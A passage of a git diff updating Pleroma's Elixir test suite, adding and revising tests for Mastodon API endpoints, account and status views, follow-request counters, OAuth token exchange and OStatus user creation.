defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        Config.put([:suggestions, :enabled], true)        Config.put([:suggestions, :third_party_engine], "http://test500?{{host}}&{{user}}") -      res = -        conn -        |> assign(:user, user) -        |> get("/api/v1/suggestions") -        |> json_response(500) +      assert capture_log(fn -> +               res = +                 conn +                 |> assign(:user, user) +                 |> get("/api/v1/suggestions") +                 |> json_response(500) -      assert res == "Something went wrong" +               assert res == "Something went wrong" +             end) =~ "Could not retrieve suggestions"      end      test "returns suggestions", %{conn: conn, user: user, other_user: other_user} do @@ -3998,4 +2056,115 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do               ]      end    end + +  describe "PUT /api/v1/media/:id" do +    setup do +      actor = insert(:user) + +      file = %Plug.Upload{ +        content_type: "image/jpg", +        path: Path.absname("test/fixtures/image.jpg"), +        filename: "an_image.jpg" +      } + +      {:ok, %Object{} = object} = +        ActivityPub.upload( +          file, +          actor: User.ap_id(actor), +          description: "test-m" +        ) + +      [actor: actor, object: object] +    end + +    test "updates name of media", %{conn: conn, actor: actor, object: object} do +      media = +        conn +        |> assign(:user, actor) +        |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) +        |> json_response(:ok) + +      assert media["description"] == "test-media" +      assert refresh_record(object).data["name"] == "test-media" +    end + +    test "returns error wheb request is bad", %{conn: conn, actor: actor, object: object} do +      media = +        conn +        |> assign(:user, actor) +        |> put("/api/v1/media/#{object.id}", %{}) +        |> json_response(400) + +      assert media == %{"error" => "bad_request"} +    end +  end + +  describe "DELETE /auth/sign_out" do +    test "redirect to root page", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> delete("/auth/sign_out") + +      assert conn.status == 302 +      assert redirected_to(conn) == "/" +    end +  end + +  describe "GET /api/v1/accounts/:id/lists - account_lists" do +    test "returns lists to which the account belongs", %{conn: conn} do +      user = insert(:user) +      other_user = insert(:user) +      assert {:ok, %Pleroma.List{} = list} = Pleroma.List.create("Test List", user) +      {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + +      res = +        conn +        |> assign(:user, user) +        |> get("/api/v1/accounts/#{other_user.id}/lists") +        |> json_response(200) + +      assert res == [%{"id" => to_string(list.id), "title" => "Test List"}] +    end +  end + +  describe "empty_array, stubs for mastodon api" do +    test "GET /api/v1/accounts/:id/identity_proofs", %{conn: conn} do +      user = insert(:user) + +      res = +        conn +        |> assign(:user, user) +        |> get("/api/v1/accounts/#{user.id}/identity_proofs") +        |> json_response(200) + +      assert res == [] +    end + +    test "GET /api/v1/endorsements", %{conn: conn} do +      user = insert(:user) + +      res = +        conn +        |> assign(:user, user) +        |> get("/api/v1/endorsements") +        |> json_response(200) + +      assert res == [] +    end + +    test "GET /api/v1/trends", %{conn: conn} do +      user = insert(:user) + +      res = +        conn +        |> assign(:user, user) +        |> get("/api/v1/trends") +        |> json_response(200) + +      assert res == [] +    end +  end  end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 1d8b28339..d965f76bf 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.AccountViewTest do @@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: "valid html",          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ @@ -79,6 +81,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do          hide_favorites: true,          hide_followers: false,          hide_follows: false, +        hide_followers_count: false, +        hide_follows_count: false,          relationship: %{},          skip_thread_containment: false        } @@ -135,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: user.bio,          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ @@ -147,6 +153,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do          hide_favorites: true,          hide_followers: false,          hide_follows: false, +        hide_followers_count: false, +        hide_follows_count: false,          relationship: %{},          skip_thread_containment: false        } @@ -306,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        source: %{          note: user.bio,          sensitive: false, -        pleroma: %{}, +        pleroma: %{ +          discoverable: false +        },          fields: []        },        pleroma: %{ @@ -318,6 +328,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do          hide_favorites: true,          hide_followers: false,          hide_follows: false, +        hide_followers_count: false, +        hide_follows_count: false,          relationship: %{            id: to_string(user.id),            following: false, @@ -361,8 +373,16 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do    end    describe "hiding follows/following" do -    test "shows when follows/following are hidden and sets follower/following count to 0" do -      user = insert(:user, info: %{hide_followers: true, hide_follows: true}) +    test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do +      info = %{ +        hide_followers: true, +        hide_followers_count: true, +        hide_follows: true, +        hide_follows_count: true +      } + +      user = insert(:user, info: info) +        other_user = insert(:user)        {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)        {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) @@ -370,6 +390,19 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do        assert %{                 followers_count: 0,                 following_count: 0, +               pleroma: %{hide_follows_count: true, hide_followers_count: true} +             } = AccountView.render("account.json", %{user: user}) +    end + +    test "shows when follows/followers are hidden" do +      user = insert(:user, info: %{hide_followers: true, hide_follows: true}) +      other_user = insert(:user) +      {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user) +      {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      assert %{ +               followers_count: 1, +               following_count: 1,                 pleroma: %{hide_follows: true, hide_followers: true}               } = AccountView.render("account.json", %{user: user})      end @@ -386,4 +419,79 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do               } = AccountView.render("account.json", %{user: user, for: user})      end    end + +  describe "follow requests counter" do +    test "shows zero when no follow requests are pending" do +      user = insert(:user) + +      assert %{follow_requests_count: 0} = +               AccountView.render("account.json", %{user: user, for: user}) + +      other_user = insert(:user) +      {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      assert %{follow_requests_count: 0} = +               AccountView.render("account.json", %{user: user, for: user}) +    end + +    test "shows non-zero when follow requests are pending" do +      user = insert(:user, %{info: %{locked: true}}) + +      assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user}) + +      other_user = insert(:user) +      {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      assert %{locked: true, follow_requests_count: 1} = +               AccountView.render("account.json", %{user: user, for: user}) +    end + +    test "decreases when accepting a follow request" do +      user = insert(:user, %{info: %{locked: true}}) + +      assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user}) + +      other_user = insert(:user) +      {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      assert %{locked: true, follow_requests_count: 1} = +               AccountView.render("account.json", %{user: user, for: user}) + +      {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) + +      assert %{locked: true, follow_requests_count: 0} = +               AccountView.render("account.json", %{user: user, for: user}) +    end + +    test "decreases when rejecting a follow request" do +      user = insert(:user, %{info: %{locked: true}}) + +      assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user}) + +      other_user = insert(:user) +      {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      assert %{locked: true, follow_requests_count: 1} = +               AccountView.render("account.json", %{user: user, for: user}) + +      {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) + +      assert %{locked: true, follow_requests_count: 0} = +               AccountView.render("account.json", %{user: user, for: user}) +    end + +    test "shows non-zero when historical unapproved requests are present" do +      user = insert(:user, %{info: %{locked: true}}) + +      assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user}) + +      other_user = insert(:user) +      {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + +      {:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: false})) + +      assert %{locked: false, follow_requests_count: 1} = +               AccountView.render("account.json", %{user: user, for: user}) +    end +  end  end diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs index fb00310b9..59e896a7c 100644 --- a/test/web/mastodon_api/views/list_view_test.exs +++ b/test/web/mastodon_api/views/list_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.ListViewTest do diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs index 977ea1e87..86268fcfa 100644 --- a/test/web/mastodon_api/views/notification_view_test.exs +++ b/test/web/mastodon_api/views/notification_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do @@ -28,7 +28,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do        pleroma: %{is_seen: false},        type: "mention",        account: AccountView.render("account.json", %{user: user, for: mentioned_user}), -      status: StatusView.render("status.json", %{activity: activity, for: mentioned_user}), +      status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}),        created_at: Utils.to_masto_date(notification.inserted_at)      } @@ -51,7 +51,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do        pleroma: %{is_seen: false},        type: "favourite",        account: AccountView.render("account.json", %{user: another_user, for: user}), -      status: StatusView.render("status.json", %{activity: create_activity, for: user}), +      status: StatusView.render("show.json", %{activity: create_activity, for: user}),        created_at: Utils.to_masto_date(notification.inserted_at)      } @@ -73,7 +73,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do        pleroma: %{is_seen: false},        type: "reblog",        account: AccountView.render("account.json", %{user: another_user, for: user}), -      status: StatusView.render("status.json", %{activity: reblog_activity, for: user}), +      status: StatusView.render("show.json", %{activity: reblog_activity, for: user}),        created_at: Utils.to_masto_date(notification.inserted_at)      } diff --git a/test/web/mastodon_api/views/push_subscription_view_test.exs b/test/web/mastodon_api/views/push_subscription_view_test.exs index dc935fc82..4e4f5b7e6 100644 --- a/test/web/mastodon_api/views/push_subscription_view_test.exs +++ b/test/web/mastodon_api/views/push_subscription_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.PushSubscriptionViewTest do diff --git a/test/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs index ecbb855d4..6387e4555 100644 --- a/test/web/mastodon_api/views/scheduled_activity_view_test.exs +++ b/test/web/mastodon_api/views/scheduled_activity_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs index fcdd7fbcb..683132f8d 100644 --- a/test/web/mastodon_api/views/status_view_test.exs +++ b/test/web/mastodon_api/views/status_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MastodonAPI.StatusViewTest do @@ -29,7 +29,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!", "visibility" => "direct"})      status = -      StatusView.render("status.json", +      StatusView.render("show.json",          activity: activity,          with_direct_conversation_id: true,          for: user @@ -46,7 +46,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      Repo.delete(user)      Cachex.clear(:user_cache) -    %{account: ms_user} = StatusView.render("status.json", activity: activity) +    %{account: ms_user} = StatusView.render("show.json", activity: activity)      assert ms_user.acct == "erroruser@example.com"    end @@ -63,7 +63,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      Cachex.clear(:user_cache) -    result = StatusView.render("status.json", activity: activity) +    result = StatusView.render("show.json", activity: activity)      assert result[:account][:id] == to_string(user.id)    end @@ -81,7 +81,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      User.get_cached_by_ap_id(note.data["actor"]) -    status = StatusView.render("status.json", %{activity: note}) +    status = StatusView.render("show.json", %{activity: note})      assert status.content == ""    end @@ -93,7 +93,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      convo_id = Utils.context_to_conversation_id(object_data["context"]) -    status = StatusView.render("status.json", %{activity: note}) +    status = StatusView.render("show.json", %{activity: note})      created_at =        (object_data["published"] || "") @@ -165,11 +165,11 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, user} = User.mute(user, other_user)      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"}) -    status = StatusView.render("status.json", %{activity: activity}) +    status = StatusView.render("show.json", %{activity: activity})      assert status.muted == false -    status = StatusView.render("status.json", %{activity: activity, for: user}) +    status = StatusView.render("show.json", %{activity: activity, for: user})      assert status.muted == true    end @@ -181,13 +181,13 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, user} = User.mute(user, other_user)      {:ok, activity} = CommonAPI.post(other_user, %{"status" => "test"}) -    status = StatusView.render("status.json", %{activity: activity, for: user}) +    status = StatusView.render("show.json", %{activity: activity, for: user})      assert status.pleroma.thread_muted == false      {:ok, activity} = CommonAPI.add_mute(user, activity) -    status = StatusView.render("status.json", %{activity: activity, for: user}) +    status = StatusView.render("show.json", %{activity: activity, for: user})      assert status.pleroma.thread_muted == true    end @@ -196,11 +196,11 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      user = insert(:user)      {:ok, activity} = CommonAPI.post(user, %{"status" => "Cute girls doing cute things"}) -    status = StatusView.render("status.json", %{activity: activity}) +    status = StatusView.render("show.json", %{activity: activity})      assert status.bookmarked == false -    status = StatusView.render("status.json", %{activity: activity, for: user}) +    status = StatusView.render("show.json", %{activity: activity, for: user})      assert status.bookmarked == false @@ -208,7 +208,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      activity = Activity.get_by_id_with_object(activity.id) -    status = StatusView.render("status.json", %{activity: activity, for: user}) +    status = StatusView.render("show.json", %{activity: activity, for: user})      assert status.bookmarked == true    end @@ -220,7 +220,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, activity} =        CommonAPI.post(user, %{"status" => "he", "in_reply_to_status_id" => note.id}) -    status = StatusView.render("status.json", %{activity: activity}) +    status = StatusView.render("show.json", %{activity: activity})      assert status.in_reply_to_id == to_string(note.id) @@ -237,7 +237,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, [activity]} = OStatus.handle_incoming(incoming) -    status = StatusView.render("status.json", %{activity: activity}) +    status = StatusView.render("show.json", %{activity: activity})      assert status.mentions ==               Enum.map([user], fn u -> AccountView.render("mention.json", %{user: u}) end) @@ -263,7 +263,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      assert length(activity.recipients) == 3 -    %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity}) +    %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})      assert length(mentions) == 1      assert mention.url == recipient_ap_id @@ -300,7 +300,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      assert length(activity.recipients) == 3 -    %{mentions: [mention] = mentions} = StatusView.render("status.json", %{activity: activity}) +    %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity})      assert length(mentions) == 1      assert mention.url == recipient.ap_id @@ -340,7 +340,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810"      [activity] = Activity.search(nil, id) -    status = StatusView.render("status.json", %{activity: activity}) +    status = StatusView.render("show.json", %{activity: activity})      assert status.uri == id      assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" @@ -352,7 +352,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, reblog, _} = CommonAPI.repeat(activity.id, user) -    represented = StatusView.render("status.json", %{for: user, activity: reblog}) +    represented = StatusView.render("show.json", %{for: user, activity: reblog})      assert represented[:id] == to_string(reblog.id)      assert represented[:reblog][:id] == to_string(activity.id) @@ -369,7 +369,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) -    represented = StatusView.render("status.json", %{for: user, activity: activity}) +    represented = StatusView.render("show.json", %{for: user, activity: activity})      assert represented[:id] == to_string(activity.id)      assert length(represented[:media_attachments]) == 1 @@ -570,7 +570,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do          "status" => "drink more water"        }) -    result = StatusView.render("status.json", %{activity: activity, for: other_user}) +    result = StatusView.render("show.json", %{activity: activity, for: other_user})      assert result[:account][:pleroma][:relationship] ==               AccountView.render("relationship.json", %{user: other_user, target: user}) @@ -587,7 +587,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, activity, _object} = CommonAPI.repeat(activity.id, other_user) -    result = StatusView.render("status.json", %{activity: activity, for: user}) +    result = StatusView.render("show.json", %{activity: activity, for: user})      assert result[:account][:pleroma][:relationship] ==               AccountView.render("relationship.json", %{user: user, target: other_user}) @@ -604,8 +604,17 @@ defmodule Pleroma.Web.MastodonAPI.StatusViewTest do      {:ok, activity} =        CommonAPI.post(user, %{"status" => "foobar", "visibility" => "list:#{list.id}"}) -    status = StatusView.render("status.json", activity: activity) +    status = StatusView.render("show.json", activity: activity)      assert status.visibility == "list"    end + +  test "successfully renders a Listen activity (pleroma extension)" do +    listen_activity = insert(:listen) + +    status = StatusView.render("listen.json", activity: listen_activity) + +    assert status.length == listen_activity.data["object"]["length"] +    assert status.title == listen_activity.data["object"]["title"] +  end  end diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 53b8f556b..fdfdb5ec6 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index 79699cac5..96bdde219 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.MediaProxyTest do diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs index f6147c286..e15a0bfff 100644 --- a/test/web/node_info_test.exs +++ b/test/web/node_info_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.NodeInfoTest do diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs new file mode 100644 index 000000000..195b8c17f --- /dev/null +++ b/test/web/oauth/app_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.AppTest do +  use Pleroma.DataCase + +  alias Pleroma.Web.OAuth.App +  import Pleroma.Factory + +  describe "get_or_make/2" do +    test "gets exist app" do +      attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} +      app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) +      {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) +      assert exist_app == app +    end + +    test "make app" do +      attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} +      {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) +      assert app.scopes == ["write"] +    end + +    test "gets exist app and updates scopes" do +      attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} +      app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) +      {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) +      assert exist_app.id == app.id +      assert exist_app.scopes == ["read", "write", "follow", "push"] +    end +  end +end diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs index d8b008437..2e82a7b79 100644 --- a/test/web/oauth/authorization_test.exs +++ b/test/web/oauth/authorization_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OAuth.AuthorizationTest do diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs index b492c7794..0cf755806 100644 --- a/test/web/oauth/oauth_controller_test.exs +++ b/test/web/oauth/oauth_controller_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OAuth.OAuthControllerTest do @@ -7,6 +7,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do    import Pleroma.Factory    alias Pleroma.Repo +  alias Pleroma.User    alias Pleroma.Web.OAuth.Authorization    alias Pleroma.Web.OAuth.OAuthController    alias Pleroma.Web.OAuth.Token @@ -775,15 +776,11 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do      test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do        Pleroma.Config.put([:instance, :account_activation_required], true) -        password = "testpassword" -      user = insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) -      info_change = Pleroma.User.Info.confirmation_changeset(user.info, need_confirmation: true)        {:ok, user} = -        user -        |> Ecto.Changeset.change() -        |> Ecto.Changeset.put_embed(:info, info_change) +        insert(:user, password_hash: Comeonin.Pbkdf2.hashpwsalt(password)) +        |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))          |> Repo.update()        refute Pleroma.User.auth_active?(user) @@ -831,6 +828,33 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do        refute Map.has_key?(resp, "access_token")      end +    test "rejects token exchange for user with password_reset_pending set to true" do +      password = "testpassword" + +      user = +        insert(:user, +          password_hash: Comeonin.Pbkdf2.hashpwsalt(password), +          info: %{password_reset_pending: true} +        ) + +      app = insert(:oauth_app, scopes: ["read", "write"]) + +      conn = +        build_conn() +        |> post("/oauth/token", %{ +          "grant_type" => "password", +          "username" => user.nickname, +          "password" => password, +          "client_id" => app.client_id, +          "client_secret" => app.client_secret +        }) + +      assert resp = json_response(conn, 403) + +      assert resp["error"] == "Password reset is required" +      refute Map.has_key?(resp, "access_token") +    end +      test "rejects an invalid authorization code" do        app = insert(:oauth_app) diff --git a/test/web/oauth/token/utils_test.exs b/test/web/oauth/token/utils_test.exs index 20e338cab..dc1f9a986 100644 --- a/test/web/oauth/token/utils_test.exs +++ b/test/web/oauth/token/utils_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OAuth.Token.UtilsTest do diff --git a/test/web/oauth/token_test.exs b/test/web/oauth/token_test.exs index 3c07309b7..5359940f8 100644 --- a/test/web/oauth/token_test.exs +++ b/test/web/oauth/token_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OAuth.TokenTest do diff --git a/test/web/ostatus/activity_representer_test.exs b/test/web/ostatus/activity_representer_test.exs index a3a92ce5b..a8d500890 100644 --- a/test/web/ostatus/activity_representer_test.exs +++ b/test/web/ostatus/activity_representer_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OStatus.ActivityRepresenterTest do diff --git a/test/web/ostatus/feed_representer_test.exs b/test/web/ostatus/feed_representer_test.exs index 3c7b126e7..d1cadf1e4 100644 --- a/test/web/ostatus/feed_representer_test.exs +++ b/test/web/ostatus/feed_representer_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OStatus.FeedRepresenterTest do diff --git a/test/web/ostatus/ostatus_controller_test.exs b/test/web/ostatus/ostatus_controller_test.exs index 095ae7041..2b40fb47e 100644 --- a/test/web/ostatus/ostatus_controller_test.exs +++ b/test/web/ostatus/ostatus_controller_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OStatus.OStatusControllerTest do @@ -50,20 +50,16 @@ defmodule Pleroma.Web.OStatus.OStatusControllerTest do                 assert response(conn, 200)               end) =~ "[error]" -      # Set a wrong magic-key for a user so it has to refetch -      salmon_user = User.get_cached_by_ap_id("http://gs.example.org:4040/index.php/user/1") -        # Wrong key -      info_cng = -        User.Info.remote_user_creation(salmon_user.info, %{ -          magic_key: -            "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" -        }) - -      salmon_user -      |> Ecto.Changeset.change() -      |> Ecto.Changeset.put_embed(:info, info_cng) -      |> User.update_and_set_cache() +      info = %{ +        magic_key: +          "RSA.pu0s-halox4tu7wmES1FVSx6u-4wc0YrUFXcqWXZG4-27UmbCOpMQftRCldNRfyA-qLbz-eqiwrong1EwUvjsD4cYbAHNGHwTvDOyx5AKthQUP44ykPv7kjKGh3DWKySJvcs9tlUG87hlo7AvnMo9pwRS_Zz2CacQ-MKaXyDepk=.AQAB" +      } + +      # Set a wrong magic-key for a user so it has to refetch +      "http://gs.example.org:4040/index.php/user/1" +      |> User.get_cached_by_ap_id() +      |> User.update_info(&User.Info.remote_user_creation(&1, info))        assert capture_log(fn ->                 conn = diff --git a/test/web/ostatus/ostatus_test.exs b/test/web/ostatus/ostatus_test.exs index 803a97695..70a0e4473 100644 --- a/test/web/ostatus/ostatus_test.exs +++ b/test/web/ostatus/ostatus_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.OStatusTest do @@ -628,4 +628,18 @@ defmodule Pleroma.Web.OStatusTest do        refute OStatus.is_representable?(note_activity)      end    end + +  describe "make_user/2" do +    test "creates new user" do +      {:ok, user} = OStatus.make_user("https://social.heldscal.la/user/23211") + +      created_user = +        User +        |> Repo.get_by(ap_id: "https://social.heldscal.la/user/23211") +        |> Map.put(:last_digest_emailed_at, nil) + +      assert user.info +      assert user == created_user +    end +  end  end diff --git a/test/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/web/pleroma_api/controllers/scrobble_controller_test.exs new file mode 100644 index 000000000..881f8012c --- /dev/null +++ b/test/web/pleroma_api/controllers/scrobble_controller_test.exs @@ 